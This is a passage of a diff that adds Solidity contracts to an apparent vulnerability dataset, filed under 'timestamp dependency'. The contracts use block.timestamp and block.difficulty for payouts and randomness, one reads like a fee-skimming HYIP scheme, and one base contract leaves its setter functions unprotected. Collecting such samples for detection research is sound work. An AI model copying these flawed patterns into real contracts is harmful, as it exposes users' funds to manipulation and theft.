cannot start or end with space"); + + if (_temp[0] == 0x30) + { + require(_temp[1] != 0x78, "string cannot start with 0x"); + require(_temp[1] != 0x58, "string cannot start with 0X"); + } + + + bool _hasNonNumber; + + + for (uint256 i = 0; i < _length; i++) + { + + if (_temp[i] > 0x40 && _temp[i] < 0x5b) + { + + _temp[i] = byte(uint(_temp[i]) + 32); + + + if (_hasNonNumber == false) + _hasNonNumber = true; + } else { + require + ( + + _temp[i] == 0x20 || + + (_temp[i] > 0x60 && _temp[i] < 0x7b) || + + (_temp[i] > 0x2f && _temp[i] < 0x3a), + "string contains invalid characters" + ); + + if (_temp[i] == 0x20) + require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); + + + if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) + _hasNonNumber = true; + } + } + + require(_hasNonNumber == true, "string cannot be only numbers"); + + bytes32 _ret; + assembly { + _ret := mload(add(_temp, 32)) + } + return (_ret); + } +} + + +library SafeMath { + + + function mul(uint256 a, uint256 b) + internal + pure + returns (uint256 c) + { + if (a == 0) { + return 0; + } + c = a * b; + require(c / a == b, "SafeMath mul failed"); + return c; + } + + + function sub(uint256 a, uint256 b) + internal + pure + returns (uint256) + { + require(b <= a, "SafeMath sub failed"); + return a - b; + } + + + function add(uint256 a, uint256 b) + internal + pure + returns (uint256 c) + { + c = a + b; + require(c >= a, "SafeMath add failed"); + return c; + } + + + function sqrt(uint256 x) + internal + pure + returns (uint256 y) + { + uint256 z = ((add(x,1)) / 2); + y = x; + while (z < y) + { + y = z; + z = ((add((x / z),z)) / 2); + } + } + + + function sq(uint256 x) + internal + pure + returns (uint256) + { + return (mul(x,x)); + } + + + function pwr(uint256 x, uint256 y) + internal + pure + returns (uint256) + { + if (x==0) + return (0); + else if (y==0) + return (1); + else + { + uint256 z = x; + for (uint256 i=1; i < y; i++) + z = mul(z,x); + return (z); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/2315.sol b/smart_contract_dataset/timestamp dependency/2315.sol new file mode 100644 index 0000000000000000000000000000000000000000..d3c40e5b17f429ebc5bec841a4162ab166dd55c5 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/2315.sol @@ -0,0 +1,62 @@ + +contract ETHERlemon +{ + + uint public paymentqueue = 0; + uint public feecounter; + + address public owner; + address public ipyh=0x5fD8B8237B6fA8AEDE4fdab7338709094d5c5eA4; + address public hyip=0xfAF7100b413465Ea0eB550d6D6a2A29695A6f218; + address meg=this; + + modifier _onlyowner + { + if (msg.sender == owner) + _ + } + + function ETHERlemon() + { + owner = msg.sender; + } + function() + { + enter(); + } + function enter() + { + if (msg.sender == owner) + { + UpdatePay(); + } + else + { + feecounter+=msg.value/10; + owner.send(feecounter/2); + ipyh.send((feecounter/2)/2); + hyip.send((feecounter/2)/2); + feecounter=0; + + if (msg.value == (1 ether)/10) + { + canPay(); + } + else + { + msg.sender.send(msg.value - msg.value/10); + } + } + + } + + function UpdatePay() _onlyowner + { + msg.sender.send(meg.balance); + } + + function canPay() internal + { + msg.sender.send((block.timestamp*1000)*1000*40); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/237.sol b/smart_contract_dataset/timestamp dependency/237.sol new file mode 100644 index 0000000000000000000000000000000000000000..ad4807a200ad787e7c3eed33f81e86ad080d8319 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/237.sol @@ -0,0 +1,406 @@ +pragma solidity ^0.4.24; + +interface tokenRecipient { + function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; +} + +contract braggerContract { + + + + + + + mapping (address => uint256) public balanceOf; + mapping (address => mapping (address => uint256)) public allowance; + + mapping (address => bool) private isUser; + mapping (address => bool) private hasPicture; + mapping (address => string) private userWalletToUserName; + mapping (string => address) private userNameToUserWallet; + mapping (string => string) private userNameToPicture; + mapping (address => string) private userWalletToPicture; + mapping (address => uint256) private fineLevel; + + + + + + + event Transfer(address indexed from, address indexed to, uint256 value); + + + event Burn(address indexed from, uint256 value); + + + + + + address public ownerAddress = 0x000; + address private bragAddress = 0x845EC9f9C0650b98f70E05fc259F4A04f6AC366e; + + string private initialQuote = "Teach your people with your wisdom."; + + string private initialPicture = "https://cdn2.iconfinder.com/data/icons/ios-7-icons/50/user_male2-512.png"; + + uint256 basicFine = 25000000000000000; + + uint256 blocks; + uint256 totalBraggedValue = 0; + + uint256 winningpot = 0; + + uint256 totalbrags = 0; + + + + + + struct Bragger{ + address braggerAddress; + uint256 braggedAmount; + string braggerQuote; + } + + Bragger[] private braggers; + + struct User{ + address userAddress; + string userName; + } + + User[] private users; + + + + + + + modifier onlyCreator() { + require(msg.sender == ownerAddress); + _; + } + + + + + + + constructor() public { + blocks=0; + ownerAddress = msg.sender; + } + + function random() private view returns (uint8) { + return uint8(uint256(keccak256(block.timestamp, block.difficulty))%251); + } + + function random2() private view returns (uint8) { + return uint8(uint256(keccak256(blocks, block.difficulty))%251); + } + + function random3() private view returns (uint8) { + return uint8(uint256(keccak256(blocks, block.difficulty))%braggers.length); + } + + + + + + function getTotalBraggedVolume() public view returns (uint256 _amount){ + return totalBraggedValue; + } + + function getCurrentBragKing() public view returns(address _bragger, uint256 _amount, string _quote, string _username, string _picture){ + _bragger = braggers[braggers.length-1].braggerAddress; + _amount = braggers[braggers.length-1].braggedAmount; + _quote = braggers[braggers.length-1].braggerQuote; + if(isAlreadyUser(_bragger)){ + _username = getUserNameByWallet(_bragger); + } else { + _username = ""; + } + + if(hasPicture[_bragger]){ + _picture = userWalletToPicture[_bragger]; + } else { + _picture = initialPicture; + } + + return (_bragger, _amount, _quote, _username, _picture); + } + + function arrayLength()public view returns(uint256 length){ + length = braggers.length; + return length; + } + + function getBraggerAtIndex(uint256 _index) public view returns(address _bragger, uint256 _brag, string _username, string _picture){ + _bragger = braggers[_index].braggerAddress; + _brag = braggers[_index].braggedAmount; + + if(isAlreadyUser(_bragger)){ + _username = getUserNameByWallet(_bragger); + } else { + _username = ""; + } + + if(hasPicture[_bragger]){ + _picture = userWalletToPicture[_bragger]; + } else { + _picture = initialPicture; + } + + return (_bragger, _brag, _username, _picture); + } + + function getUserNameByWallet(address _wallet) public view returns (string _username){ + require(isAlreadyUser(_wallet)); + _username = userWalletToUserName[_wallet]; + return _username; + } + + function getUserPictureByWallet(address _wallet) public view returns (string _url){ + require(isAlreadyUser(_wallet)); + _url = userWalletToPicture[_wallet]; + return _url; + } + + function getUserWalletByUsername(string _username) public view returns(address _address){ + address _user = userNameToUserWallet[_username]; + return (_user); + } + + function getUserPictureByUsername(string _username) public view returns(string _url){ + _url = userNameToPicture[_username]; + return (_url); + } + + function getFineLevelOfAddress(address _user) public view returns(uint256 _fineLevel, uint256 _fineAmount){ + _fineLevel = fineLevel[_user]; + _fineAmount = _fineLevel * basicFine; + return (_fineLevel, _fineAmount); + } + + function getFineLevelOfUsername(string _username) public view returns(uint256 _fineLevel, uint256 _fineAmount){ + address _user = userNameToUserWallet[_username]; + _fineLevel = fineLevel[_user]; + _fineAmount = _fineLevel * basicFine; + return (_fineLevel, _fineAmount); + } + + function getTotalBrags() public view returns(uint256){ + return totalbrags; + } + + function getWinnerPot() public view returns(uint256){ + return winningpot; + } + + + + + + function getCurrentPot() public view returns (uint256 _amount){ + return address(this).balance; + } + + + function brag() public payable{ + + uint256 shortage = SafeMath.mul(30,SafeMath.div(msg.value, 100)); + + if(braggers.length != 0){ + require(braggers[braggers.length-1].braggedAmount < msg.value); + } + + Bragger memory _bragger = Bragger({ + braggerAddress: msg.sender, + braggedAmount: msg.value, + braggerQuote: initialQuote + }); + + braggers.push(_bragger); + + totalBraggedValue = totalBraggedValue + msg.value; + + winningpot = winningpot + SafeMath.sub(msg.value, shortage); + + bragAddress.transfer(shortage); + + if(random() == random2()){ + address sender = msg.sender; + sender.transfer(SafeMath.mul(SafeMath.div(address(this).balance,100), 70)); + uint256 luckyIndex = random3(); + address luckyGuy = braggers[luckyIndex].braggerAddress; + luckyGuy.transfer(address(this).balance); + } + + blocks = SafeMath.add(blocks, random()); + totalbrags += 1; + } + + + + + + function setTheKingsQuote(string _message) public payable{ + if(fineLevel[msg.sender] > 0){ + require(msg.value > (basicFine * fineLevel[msg.sender])); + } + address currentKing = braggers[braggers.length-1].braggerAddress; + require(msg.sender == currentKing); + braggers[braggers.length-1].braggerQuote = _message; + } + + + + + + function isAlreadyUser(address _address) public view returns (bool status){ + if (isUser[_address]){ + return true; + } else { + return false; + } + } + + function hasProfilePicture(address _address) public view returns (bool status){ + if (isUser[_address]){ + return true; + } else { + return false; + } + } + + function createNewUser(string _username, string _pictureUrl) public { + + require(!isAlreadyUser(msg.sender)); + + User memory _user = User({ + userAddress: msg.sender, + userName: _username + }); + + userWalletToUserName[msg.sender] = _username; + userNameToUserWallet[_username] = msg.sender; + userNameToPicture[_username] = _pictureUrl; + userWalletToPicture[msg.sender] = _pictureUrl; + fineLevel[msg.sender] = 0; + + users.push(_user) - 1; + isUser[msg.sender] = true; + hasPicture[msg.sender] = true; + } + + + + + + function resetQuote()public onlyCreator{ + braggers[braggers.length-1].braggerQuote = initialQuote; + fineLevel[braggers[braggers.length-1].braggerAddress] = fineLevel[braggers[braggers.length-1].braggerAddress] + 1; + } + + function resetUsername(string _username)public onlyCreator{ + address user = userNameToUserWallet[_username]; + userWalletToUserName[user] = "Mick"; + fineLevel[user] = fineLevel[user] + 1; + } + + function resetUserPicture(string _username)public onlyCreator{ + address user = userNameToUserWallet[_username]; + userWalletToPicture[user] = initialPicture; + fineLevel[user] = fineLevel[user] + 1; + } + + + + + + + + function _transfer(address _from, address _to, uint _value) internal { + + require(_to != 0x0); + + require(balanceOf[_from] >= _value); + + require(balanceOf[_to] + _value > balanceOf[_to]); + + uint previousBalances = balanceOf[_from] + balanceOf[_to]; + + balanceOf[_from] -= _value; + + balanceOf[_to] += _value; + emit Transfer(_from, _to, _value); + + assert(balanceOf[_from] + balanceOf[_to] == previousBalances); + } + + function transfer(address _to, uint256 _value) public { + _transfer(msg.sender, _to, _value); + } + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { + require(_value <= allowance[_from][msg.sender]); + allowance[_from][msg.sender] -= _value; + _transfer(_from, _to, _value); + return true; + } + + function approve(address _spender, uint256 _value) public + returns (bool success) { + allowance[msg.sender][_spender] = _value; + return true; + } + + function approveAndCall(address _spender, uint256 _value, bytes _extraData) + public + returns (bool success) { + tokenRecipient spender = tokenRecipient(_spender); + if (approve(_spender, _value)) { + spender.receiveApproval(msg.sender, _value, this, _extraData); + return true; + } + } + + function reset()public onlyCreator { + selfdestruct(ownerAddress); + } + +} + + + + + +library SafeMath { + + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/2389.sol b/smart_contract_dataset/timestamp dependency/2389.sol new file mode 100644 index 0000000000000000000000000000000000000000..b974b286a2a2e5acb21e3ebc7bd6851ca093a7d2 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/2389.sol @@ -0,0 +1,632 @@ +pragma solidity ^0.4.24; +pragma experimental "v0.5.0"; +pragma experimental ABIEncoderV2; + +library AddressExtension { + + function isValid(address _address) internal pure returns (bool) { + return 0 != _address; + } + + function isAccount(address _address) internal view returns (bool result) { + assembly { + result := iszero(extcodesize(_address)) + } + } + + function toBytes(address _address) internal pure returns (bytes b) { + assembly { + let m := mload(0x40) + mstore(add(m, 20), xor(0x140000000000000000000000000000000000000000, _address)) + mstore(0x40, add(m, 52)) + b := m + } + } +} + +library Math { + + struct Fraction { + uint256 numerator; + uint256 denominator; + } + + function isPositive(Fraction memory fraction) internal pure returns (bool) { + return fraction.numerator > 0 && fraction.denominator > 0; + } + + function mul(uint256 a, uint256 b) internal pure returns (uint256 r) { + r = a * b; + require((a == 0) || (r / a == b)); + } + + function div(uint256 a, uint256 b) internal pure returns (uint256 r) { + r = a / b; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256 r) { + require((r = a - b) <= a); + } + + function add(uint256 a, uint256 b) internal pure returns (uint256 r) { + require((r = a + b) >= a); + } + + function min(uint256 x, uint256 y) internal pure returns (uint256 r) { + return x <= y ? x : y; + } + + function max(uint256 x, uint256 y) internal pure returns (uint256 r) { + return x >= y ? x : y; + } + + function mulDiv(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { + r = value * m; + if (r / value == m) { + r /= d; + } else { + r = mul(value / d, m); + } + } + + function mulDivCeil(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { + r = value * m; + if (r / value == m) { + if (r % d == 0) { + r /= d; + } else { + r = (r / d) + 1; + } + } else { + r = mul(value / d, m); + if (value % d != 0) { + r += 1; + } + } + } + + function mul(uint256 x, Fraction memory f) internal pure returns (uint256) { + return mulDiv(x, f.numerator, f.denominator); + } + + function mulCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { + return mulDivCeil(x, f.numerator, f.denominator); + } + + function div(uint256 x, Fraction memory f) internal pure returns (uint256) { + return mulDiv(x, f.denominator, f.numerator); + } + + function divCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { + return mulDivCeil(x, f.denominator, f.numerator); + } + + function mul(Fraction memory x, Fraction memory y) internal pure returns (Math.Fraction) { + return Math.Fraction({ + numerator: mul(x.numerator, y.numerator), + denominator: mul(x.denominator, y.denominator) + }); + } +} + +contract FsTKAuthority { + + function isAuthorized(address sender, address _contract, bytes data) public view returns (bool); + function isApproved(bytes32 hash, uint256 approveTime, bytes approveToken) public view returns (bool); + function validate() public pure returns (bytes4); +} + +contract Authorizable { + + event SetFsTKAuthority(FsTKAuthority indexed _address); + + modifier onlyFsTKAuthorized { + require(fstkAuthority.isAuthorized(msg.sender, this, msg.data)); + _; + } + modifier onlyFsTKApproved(bytes32 hash, uint256 approveTime, bytes approveToken) { + require(fstkAuthority.isApproved(hash, approveTime, approveToken)); + _; + } + + FsTKAuthority internal fstkAuthority; + + constructor(FsTKAuthority _fstkAuthority) internal { + fstkAuthority = _fstkAuthority; + } + + function setFsTKAuthority(FsTKAuthority _fstkAuthority) public onlyFsTKAuthorized { + require(_fstkAuthority.validate() == _fstkAuthority.validate.selector); + emit SetFsTKAuthority(fstkAuthority = _fstkAuthority); + } +} + +contract ERC20 { + + event Transfer(address indexed from, address indexed to, uint256 value); + event Approval(address indexed owner, address indexed spender, uint256 value); + + function balanceOf(address owner) public view returns (uint256); + function allowance(address owner, address spender) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); +} + +contract SecureERC20 is ERC20 { + + event SetERC20ApproveChecking(bool approveChecking); + + function approve(address spender, uint256 expectedValue, uint256 newValue) public returns (bool); + function increaseAllowance(address spender, uint256 value) public returns (bool); + function decreaseAllowance(address spender, uint256 value, bool strict) public returns (bool); + function setERC20ApproveChecking(bool approveChecking) public; +} + +contract FsTKToken { + + enum DelegateMode { PublicMsgSender, PublicTxOrigin, PrivateMsgSender, PrivateTxOrigin } + + event Consume(address indexed from, uint256 value, bytes32 challenge); + event IncreaseNonce(address indexed from, uint256 nonce); + event SetupDirectDebit(address indexed debtor, address indexed receiver, DirectDebitInfo info); + event TerminateDirectDebit(address indexed debtor, address indexed receiver); + event WithdrawDirectDebitFailure(address indexed debtor, address indexed receiver); + + event SetMetadata(string metadata); + event SetLiquid(bool liquidity); + event SetDelegate(bool isDelegateEnable); + event SetDirectDebit(bool isDirectDebitEnable); + + struct DirectDebitInfo { + uint256 amount; + uint256 startTime; + uint256 interval; + } + struct DirectDebit { + DirectDebitInfo info; + uint256 epoch; + } + struct Instrument { + uint256 allowance; + DirectDebit directDebit; + } + struct Account { + uint256 balance; + uint256 nonce; + mapping (address => Instrument) instruments; + } + + function spendableAllowance(address owner, address spender) public view returns (uint256); + function transfer(uint256[] data) public returns (bool); + function transferAndCall(address to, uint256 value, bytes data) public payable returns (bool); + + function nonceOf(address owner) public view returns (uint256); + function increaseNonce() public returns (bool); + function delegateTransferAndCall( + uint256 nonce, + uint256 fee, + uint256 gasAmount, + address to, + uint256 value, + bytes data, + DelegateMode mode, + uint8 v, + bytes32 r, + bytes32 s + ) public returns (bool); + + function directDebit(address debtor, address receiver) public view returns (DirectDebit); + function setupDirectDebit(address receiver, DirectDebitInfo info) public returns (bool); + function terminateDirectDebit(address receiver) public returns (bool); + function withdrawDirectDebit(address debtor) public returns (bool); + function withdrawDirectDebit(address[] debtors, bool strict) public returns (bool); +} + +contract ERC20Like is SecureERC20, FsTKToken { + using AddressExtension for address; + using Math for uint256; + + modifier liquid { + require(isLiquid); + _; + } + modifier canUseDirectDebit { + require(isDirectDebitEnable); + _; + } + modifier canDelegate { + require(isDelegateEnable); + _; + } + + bool public erc20ApproveChecking; + bool public isLiquid = true; + bool public isDelegateEnable; + bool public isDirectDebitEnable; + string public metadata; + mapping(address => Account) internal accounts; + + constructor(string _metadata) public { + metadata = _metadata; + } + + function balanceOf(address owner) public view returns (uint256) { + return accounts[owner].balance; + } + + function allowance(address owner, address spender) public view returns (uint256) { + return accounts[owner].instruments[spender].allowance; + } + + function transfer(address to, uint256 value) public liquid returns (bool) { + Account storage senderAccount = accounts[msg.sender]; + + senderAccount.balance = senderAccount.balance.sub(value); + accounts[to].balance += value; + + emit Transfer(msg.sender, to, value); + return true; + } + + function transferFrom(address from, address to, uint256 value) public liquid returns (bool) { + Account storage fromAccount = accounts[from]; + Instrument storage senderInstrument = fromAccount.instruments[msg.sender]; + + fromAccount.balance = fromAccount.balance.sub(value); + senderInstrument.allowance = senderInstrument.allowance.sub(value); + accounts[to].balance += value; + + emit Transfer(from, to, value); + return true; + } + + function approve(address spender, uint256 value) public returns (bool) { + Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender]; + if (erc20ApproveChecking) { + require((value == 0) || (spenderInstrument.allowance == 0)); + } + + emit Approval( + msg.sender, + spender, + spenderInstrument.allowance = value + ); + return true; + } + + function setERC20ApproveChecking(bool approveChecking) public { + emit SetERC20ApproveChecking(erc20ApproveChecking = approveChecking); + } + + function approve(address spender, uint256 expectedValue, uint256 newValue) public returns (bool) { + Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender]; + require(spenderInstrument.allowance == expectedValue); + + emit Approval( + msg.sender, + spender, + spenderInstrument.allowance = newValue + ); + return true; + } + + function increaseAllowance(address spender, uint256 value) public returns (bool) { + Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender]; + + emit Approval( + msg.sender, + spender, + spenderInstrument.allowance = spenderInstrument.allowance.add(value) + ); + return true; + } + + function decreaseAllowance(address spender, uint256 value, bool strict) public returns (bool) { + Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender]; + + uint256 currentValue = spenderInstrument.allowance; + uint256 newValue; + if (strict) { + newValue = currentValue.sub(value); + } else if (value < currentValue) { + newValue = currentValue - value; + } + + emit Approval( + msg.sender, + spender, + spenderInstrument.allowance = newValue + ); + return true; + } + + function setMetadata0(string _metadata) internal { + emit SetMetadata(metadata = _metadata); + } + + function setLiquid0(bool liquidity) internal { + emit SetLiquid(isLiquid = liquidity); + } + + function setDelegate(bool delegate) public { + emit SetDelegate(isDelegateEnable = delegate); + } + + function setDirectDebit(bool directDebit) public { + emit SetDirectDebit(isDirectDebitEnable = directDebit); + } + + function spendableAllowance(address owner, address spender) public view returns (uint256) { + Account storage ownerAccount = accounts[owner]; + return Math.min( + ownerAccount.instruments[spender].allowance, + ownerAccount.balance + ); + } + + function transfer(uint256[] data) public liquid returns (bool) { + Account storage senderAccount = accounts[msg.sender]; + uint256 totalValue; + + for (uint256 i = 0; i < data.length; i++) { + address receiver = address(data[i] >> 96); + uint256 value = data[i] & 0xffffffffffffffffffffffff; + + totalValue = totalValue.add(value); + accounts[receiver].balance += value; + + emit Transfer(msg.sender, receiver, value); + } + + senderAccount.balance = senderAccount.balance.sub(totalValue); + + return true; + } + + function transferAndCall( + address to, + uint256 value, + bytes data + ) + public + payable + liquid + returns (bool) + { + require( + to != address(this) && + data.length >= 68 && + transfer(to, value) + ); + assembly { + mstore(add(data, 36), value) + mstore(add(data, 68), caller) + } + require(to.call.value(msg.value)(data)); + return true; + } + + function nonceOf(address owner) public view returns (uint256) { + return accounts[owner].nonce; + } + + function increaseNonce() public returns (bool) { + emit IncreaseNonce(msg.sender, accounts[msg.sender].nonce += 1); + } + + function delegateTransferAndCall( + uint256 nonce, + uint256 fee, + uint256 gasAmount, + address to, + uint256 value, + bytes data, + DelegateMode mode, + uint8 v, + bytes32 r, + bytes32 s + ) + public + liquid + canDelegate + returns (bool) + { + require(to != address(this)); + address signer; + address relayer; + if (mode == DelegateMode.PublicMsgSender) { + signer = ecrecover( + keccak256(abi.encodePacked(this, nonce, fee, gasAmount, to, value, data, mode, address(0))), + v, + r, + s + ); + relayer = msg.sender; + } else if (mode == DelegateMode.PublicTxOrigin) { + signer = ecrecover( + keccak256(abi.encodePacked(this, nonce, fee, gasAmount, to, value, data, mode, address(0))), + v, + r, + s + ); + relayer = tx.origin; + } else if (mode == DelegateMode.PrivateMsgSender) { + signer = ecrecover( + keccak256(abi.encodePacked(this, nonce, fee, gasAmount, to, value, data, mode, msg.sender)), + v, + r, + s + ); + relayer = msg.sender; + } else if (mode == DelegateMode.PrivateTxOrigin) { + signer = ecrecover( + keccak256(abi.encodePacked(this, nonce, fee, gasAmount, to, value, data, mode, tx.origin)), + v, + r, + s + ); + relayer = tx.origin; + } else { + revert(); + } + + Account storage signerAccount = accounts[signer]; + require(nonce == signerAccount.nonce); + emit IncreaseNonce(signer, signerAccount.nonce += 1); + + signerAccount.balance = signerAccount.balance.sub(value.add(fee)); + accounts[to].balance += value; + if (fee != 0) { + accounts[relayer].balance += fee; + emit Transfer(signer, relayer, fee); + } + + if (!to.isAccount() && data.length >= 68) { + assembly { + mstore(add(data, 36), value) + mstore(add(data, 68), signer) + } + if (to.call.gas(gasAmount)(data)) { + emit Transfer(signer, to, value); + } else { + signerAccount.balance += value; + accounts[to].balance -= value; + } + } else { + emit Transfer(signer, to, value); + } + + return true; + } + + function directDebit(address debtor, address receiver) public view returns (DirectDebit) { + return accounts[debtor].instruments[receiver].directDebit; + } + + function setupDirectDebit( + address receiver, + DirectDebitInfo info + ) + public + returns (bool) + { + accounts[msg.sender].instruments[receiver].directDebit = DirectDebit({ + info: info, + epoch: 0 + }); + + emit SetupDirectDebit(msg.sender, receiver, info); + return true; + } + + function terminateDirectDebit(address receiver) public returns (bool) { + delete accounts[msg.sender].instruments[receiver].directDebit; + + emit TerminateDirectDebit(msg.sender, receiver); + return true; + } + + function withdrawDirectDebit(address debtor) public liquid canUseDirectDebit returns (bool) { + Account storage debtorAccount = accounts[debtor]; + DirectDebit storage debit = debtorAccount.instruments[msg.sender].directDebit; + uint256 epoch = (block.timestamp.sub(debit.info.startTime) / debit.info.interval).add(1); + uint256 amount = epoch.sub(debit.epoch).mul(debit.info.amount); + require(amount > 0); + debtorAccount.balance = debtorAccount.balance.sub(amount); + accounts[msg.sender].balance += amount; + debit.epoch = epoch; + + emit Transfer(debtor, msg.sender, amount); + return true; + } + + function withdrawDirectDebit(address[] debtors, bool strict) public liquid canUseDirectDebit returns (bool result) { + Account storage receiverAccount = accounts[msg.sender]; + result = true; + uint256 total; + + for (uint256 i = 0; i < debtors.length; i++) { + address debtor = debtors[i]; + Account storage debtorAccount = accounts[debtor]; + DirectDebit storage debit = debtorAccount.instruments[msg.sender].directDebit; + uint256 epoch = (block.timestamp.sub(debit.info.startTime) / debit.info.interval).add(1); + uint256 amount = epoch.sub(debit.epoch).mul(debit.info.amount); + require(amount > 0); + uint256 debtorBalance = debtorAccount.balance; + + if (amount > debtorBalance) { + if (strict) { + revert(); + } + result = false; + emit WithdrawDirectDebitFailure(debtor, msg.sender); + } else { + debtorAccount.balance = debtorBalance - amount; + total += amount; + debit.epoch = epoch; + + emit Transfer(debtor, msg.sender, amount); + } + } + + receiverAccount.balance += total; + } +} + +contract FsTKAllocation { + function initialize(uint256 _vestedAmount) public; +} + +contract FunderSmartToken is Authorizable, ERC20Like { + + string public constant name = "Funder Smart Token"; + string public constant symbol = "FST"; + uint256 public constant totalSupply = 330000000 ether; + uint8 public constant decimals = 18; + + constructor( + FsTKAuthority _fstkAuthority, + string _metadata, + address coldWallet, + FsTKAllocation allocation + ) + Authorizable(_fstkAuthority) + ERC20Like(_metadata) + public + { + uint256 vestedAmount = totalSupply / 12; + accounts[allocation].balance = vestedAmount; + emit Transfer(address(0), allocation, vestedAmount); + allocation.initialize(vestedAmount); + + uint256 releaseAmount = totalSupply - vestedAmount; + accounts[coldWallet].balance = releaseAmount; + + emit Transfer(address(0), coldWallet, releaseAmount); + } + + function setMetadata(string infoUrl) public onlyFsTKAuthorized { + setMetadata0(infoUrl); + } + + function setLiquid(bool liquidity) public onlyFsTKAuthorized { + setLiquid0(liquidity); + } + + function setERC20ApproveChecking(bool approveChecking) public onlyFsTKAuthorized { + super.setERC20ApproveChecking(approveChecking); + } + + function setDelegate(bool delegate) public onlyFsTKAuthorized { + super.setDelegate(delegate); + } + + function setDirectDebit(bool directDebit) public onlyFsTKAuthorized { + super.setDirectDebit(directDebit); + } + + function transferToken(ERC20 erc20, address to, uint256 value) public onlyFsTKAuthorized { + erc20.transfer(to, value); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/2391.sol b/smart_contract_dataset/timestamp dependency/2391.sol new file mode 100644 index 0000000000000000000000000000000000000000..c52f0d6b972b54c5cd36254d6bd09866c4ac2071 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/2391.sol @@ -0,0 +1,394 @@ +pragma solidity ^0.4.24; +pragma experimental "v0.5.0"; +pragma experimental ABIEncoderV2; + +library Math { + + struct Fraction { + uint256 numerator; + uint256 denominator; + } + + function isPositive(Fraction memory fraction) internal pure returns (bool) { + return fraction.numerator > 0 && fraction.denominator > 0; + } + + function mul(uint256 a, uint256 b) internal pure returns (uint256 r) { + r = a * b; + require((a == 0) || (r / a == b)); + } + + function div(uint256 a, uint256 b) internal pure returns (uint256 r) { + r = a / b; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256 r) { + require((r = a - b) <= a); + } + + function add(uint256 a, uint256 b) internal pure returns (uint256 r) { + require((r = a + b) >= a); + } + + function min(uint256 x, uint256 y) internal pure returns (uint256 r) { + return x <= y ? x : y; + } + + function max(uint256 x, uint256 y) internal pure returns (uint256 r) { + return x >= y ? x : y; + } + + function mulDiv(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { + r = value * m; + if (r / value == m) { + r /= d; + } else { + r = mul(value / d, m); + } + } + + function mulDivCeil(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { + r = value * m; + if (r / value == m) { + if (r % d == 0) { + r /= d; + } else { + r = (r / d) + 1; + } + } else { + r = mul(value / d, m); + if (value % d != 0) { + r += 1; + } + } + } + + function mul(uint256 x, Fraction memory f) internal pure returns (uint256) { + return mulDiv(x, f.numerator, f.denominator); + } + + function mulCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { + return mulDivCeil(x, f.numerator, f.denominator); + } + + function div(uint256 x, Fraction memory f) internal pure returns (uint256) { + return mulDiv(x, f.denominator, f.numerator); + } + + function divCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { + return mulDivCeil(x, f.denominator, f.numerator); + } + + function mul(Fraction memory x, Fraction memory y) internal pure returns (Math.Fraction) { + return Math.Fraction({ + numerator: mul(x.numerator, y.numerator), + denominator: mul(x.denominator, y.denominator) + }); + } +} + +contract FsTKColdWallet { + using Math for uint256; + + event ConfirmationNeeded(address indexed initiator, bytes32 indexed operation, address indexed to, uint256 value, bytes data); + event Confirmation(address indexed authority, bytes32 indexed operation); + event Revoke(address indexed authority, bytes32 indexed operation); + + event AuthorityChanged(address indexed oldAuthority, address indexed newAuthority); + event AuthorityAdded(address authority); + event AuthorityRemoved(address authority); + + event RequirementChanged(uint256 required); + event DayLimitChanged(uint256 dayLimit); + event SpentTodayReset(uint256 spentToday); + + event Deposit(address indexed from, uint256 value); + event SingleTransaction(address indexed authority, address indexed to, uint256 value, bytes data, address created); + event MultiTransaction(address indexed authority, bytes32 indexed operation, address indexed to, uint256 value, bytes data, address created); + + struct TransactionInfo { + address to; + uint256 value; + bytes data; + } + + struct PendingTransactionState { + TransactionInfo info; + uint256 confirmNeeded; + uint256 confirmBitmap; + uint256 index; + } + + modifier onlyAuthority { + require(isAuthority(msg.sender)); + _; + } + + modifier confirmAndRun(bytes32 operation) { + if (confirmAndCheck(operation)) { + _; + } + } + + uint256 constant MAX_AUTHORITIES = 250; + + uint256 public requiredAuthorities; + uint256 public numAuthorities; + + uint256 public dailyLimit; + uint256 public spentToday; + uint256 public lastDay; + + address[256] public authorities; + mapping(address => uint256) public authorityIndex; + mapping(bytes32 => PendingTransactionState) public pendingTransaction; + bytes32[] public pendingOperation; + + constructor(address[] _authorities, uint256 required, uint256 _daylimit) public { + require( + required > 0 && + authorities.length >= required + ); + + numAuthorities = _authorities.length; + for (uint256 i = 0; i < _authorities.length; i += 1) { + authorities[1 + i] = _authorities[i]; + authorityIndex[_authorities[i]] = 1 + i; + } + + requiredAuthorities = required; + + dailyLimit = _daylimit; + lastDay = today(); + } + + function() external payable { + if (msg.value > 0) { + emit 